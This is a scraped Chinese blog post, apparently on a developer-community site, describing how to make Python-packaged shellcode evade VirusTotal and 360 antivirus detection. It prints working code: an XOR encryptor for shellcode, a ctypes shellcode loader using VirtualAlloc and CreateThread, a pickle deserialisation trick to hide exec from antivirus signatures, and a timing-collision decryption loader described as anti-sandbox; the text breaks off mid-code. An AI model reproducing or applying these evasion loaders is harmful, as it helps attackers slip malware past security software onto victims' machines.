相关文章推荐
知识渊博的豆芽  ·  Android Oreo  |  ...·  3 周前    · 
无邪的便当  ·  Building from source: ...·  1 月前    · 
至今单身的青蛙  ·  特稿|困在印尼苏拉威西岛的中国工人·  1 年前    · 
贪玩的山楂  ·  关于美国麻省理工学院2021暑假“机器学习+ ...·  1 年前    · 
鼻子大的红金鱼  ·  hive 排序 ...·  1 年前    · 
小百科  ›  Python 实现VT全免杀,过360动态开发者社区
python python函数 免杀 input
温文尔雅的卡布奇诺
2 年前
Creaper

Python 实现VT全免杀,过360动态

腾讯云
开发者社区
文档 建议反馈 控制台
首页
学习
活动
专区
工具
TVP
最新优惠活动
文章/答案/技术大牛
发布
首页
学习
活动
专区
工具
TVP 最新优惠活动
返回腾讯云官网
Creaper
首页
学习
活动
专区
工具
TVP 最新优惠活动
返回腾讯云官网
社区首页 > 专栏 > Python 实现VT全免杀,过360动态

Python 实现VT全免杀,过360动态

作者头像
Creaper
发布 于 2023-11-20 12:34:14
396 0
发布 于 2023-11-20 12:34:14
举报
文章被收录于专栏: 锦鲤安全 锦鲤安全
1   前言2   效果图3   前置知识4   制作免杀5   源码下载6   加载器下载

01

前言

Python 实现VT全免杀,可以说静态免杀拉满了,过360动态免杀,火绒没有测试,不过火绒和360半斤八两就是了,windows denfender过静态,动态gg。这几天研究了几天Python免杀过windows denfender,网上能找到的方法基本都试了,还是没有过动态windows denfender免杀,期间试了花指令,exec加载+反序列化,exec分块加解密加载,更换shellcode加载器换了七八种常见的和不常见的加载器(文末分享)以及动态加载windows回调api执行shellcode,都没有过动态免杀,基本都在上线几秒钟被杀。

02

效果图

这是两天前的效果图:

这是最新的效果图:

360:

03

前置知识

python免杀比C++免杀难得多,很多杀毒不管三七二一直接将python打包的exe列为恶意文件。因此python免杀要从shellcode加解密、shellcode加载器、编译和签名四个方面下手。

shellcode加解密使用改写成python版的自定义的异或随机值加解密:

import random
def decrypt(input_bytes, key):
    output = bytearray(len(input_bytes))
    random.seed(key)
    for i in range(len(input_bytes)):
        output[i] = input_bytes[i] ^ (random.randint(1, len(input_bytes)) & 0xff)
        output[i] = output[i] ^ key
    return output
def encrypt(input_bytes, key):
    output = bytearray(len(input_bytes))
    random.seed(key)
    for i in range(len(input_bytes)):
        output[i] = input_bytes[i] ^ key
        output[i] = output[i] ^ (random.randint(1, len(input_bytes)) & 0xff)
    return output
if __name__ == '__main__':
    input_content = b'shellcode'
    key = 156
    # 加密文本使用:input_content.encode('utf-8')
    encrypted = encrypt(input_content, key)
    # 解密文本使用:decrypted.decode('utf-8')
    decrypted = decrypt(encrypted, key)
    print("encrypted: ", end='')
    for i in encrypted:
        print("\\x%02x" % i, end='')
    print("\ndecrypted: ", decrypted)

由于python的特性,密钥只能是1-255之间,后面还要使用随机值时间碰撞解密因此密钥最后是100-200之间。

我更换了七八种shellcode加载器,先是常见一点的shellcode加载器,后面是自己写的比较罕见shellcode加载器,都不能过windows denfender,而360不管使用什么加载器都能动态免杀,因此这里随便一点,使用最常见的创建线程加载器:

import ctypes
buf = b"shellcode"
VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc
RtlMoveMemory = ctypes.windll.kernel32.RtlMoveMemory
CreateThread = ctypes.windll.kernel32.CreateThread
WaitForSingleObject = ctypes.windll.kernel32.WaitForSingleObject
shellcode = bytearray(buf)
VirtualAlloc.restype = ctypes.c_void_p  # 重载函数返回类型为void
p = VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), 0x3000, 0x00000040)  # 申请内存
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)  # 将shellcode指向指针
RtlMoveMemory(ctypes.c_void_p(p), buf, ctypes.c_int(len(shellcode)))  # 复制shellcode进申请的内存中
h = CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_void_p(p), ctypes.c_int(0), ctypes.c_int(0),
                     ctypes.pointer(ctypes.c_int(0)))  # 执行创建线程
WaitForSingleObject(ctypes.c_int(h), ctypes.c_int(-1))  # 检测线程创建事件

这里采用将shellcode加载器整体使用自定义的异或随机值加密在采用一个加载器来加载,一开始将shellcode加载器整体加密后直接使用exec执行,被360动态查杀直接杀了。后面发现360的特征码是同时使用ctypes库和exec函数,ctypes库是一定要使用的,只能在exec上做文章,不能直接使用exec函数,但是可以使用pickle库将exec序列化,之后将exec序列化后的字符串再使用自定义的异或随机值加密:

import pickle
a = None
class RunOnDeserialize:
    def __reduce__(self):
        return (exec, ("a = exec",))
payload = pickle.dumps(RunOnDeserialize())
print(payload)
pickle.loads(payload)
print(a)

通过反序列化将exec函数赋值给a,再用a来执行shellcode加载器。

shellcode加载器的加载器:

import time
import random
import pickle
import ctypes
def decrypt(input_bytes, key):
    output = bytearray(len(input_bytes))
    random.seed(key)
    for i in range(len(input_bytes)):
        output[i] = input_bytes[i] ^ (random.randint(1, len(input_bytes)) & 0xff)
        output[i] = output[i] ^ key
    return output
if __name__ == '__main__':
    buf = b"加密的shellcode加载器"
    for i in range(1, 1000):
        start_time = time.time()
        time.sleep(0.1)
        end_time = time.time()
        elapsed_time = int((end_time - start_time) * 1000)
        random.seed(i)
        # 随机值时间碰撞解密
        key = 156 - 100 - 10 + elapsed_time + random.randint(0, 20)
        decrypted = decrypt(buf, key)
        if key == 156:
            print('start')
            a = None
          # 反序列化,将a赋值为exec函数
            pickle.loads(decrypt(b"\x3c\x83\x19\xaf\x96\x93\x97\x95\xb8\x81\x85\x06\x9e\xf8\xe3\xfc\xf1\xf5\xf6\xd1\xf5\x11\x11\xbd\xd2\xf3\xfe\xec\x10\x0b\x22\x36\x9e\xdc\xa2\xaa\xad\xfb\xe7\xe9\xfa\x0d\x13\x15\xdc\x1b\xbb", key))
          # 执行shellcode加载器
            a(decrypted.decode('utf-8'))
            break

采用将shellcode加载器整体使用自定义的异或随机值加密的方式,用 pickle.loads 反序列化执行 "a = exec",a变成exec函数,再执行解密后的shellcode加载器。shellcode加载器解密使用前面文章将过的随机值时间碰撞解密,密钥156先减去100毫秒,再减去10,再加上时间差和0-20的随机数重复1000次保证碰撞出原key,再用if判断前key是否等于156,相等则加载shellcode,最后break退出循环。

为什么key要先减去100毫秒,再减去10,再加上时间差和0-20的随机数重复1000次保证碰撞出原key这么麻烦的一步?

这是为了扰乱杀软逆推出原来的shellcode,同时有反沙箱的效果。

然后到编译,使用pyinstaller编译时不要使用 -w 去除启动窗口,不然将导致报毒增多。

下面是一点冒泡排序的算法,用pyinstaller分别使用-w和不hi有-w参数编译,看看VT查杀情况:

def hua4bubble_sort(arr):
    n = len(arr)
    for i in range(n):
        for j in range(n - i - 1):
 
推荐文章
知识渊博的豆芽  ·  Android Oreo  |  Platform  |  Android Developers
3 周前
无邪的便当  ·  Building from source: nvcc fatal : Unsupported gpu architecture 'compute_120' - C++ - PyTorch Forums
1 月前
至今单身的青蛙  ·  特稿|困在印尼苏拉威西岛的中国工人
1 年前
贪玩的山楂  ·  关于美国麻省理工学院2021暑假“机器学习+”在线学习课程项目申请的通知
1 年前
鼻子大的红金鱼  ·  hive 排序 hive排序null放最后_寂寞沙冷州的技术博客_51CTO博客
1 年前
Link管理   ·   Sov5搜索   ·   小百科
小百科 - 百科知识指南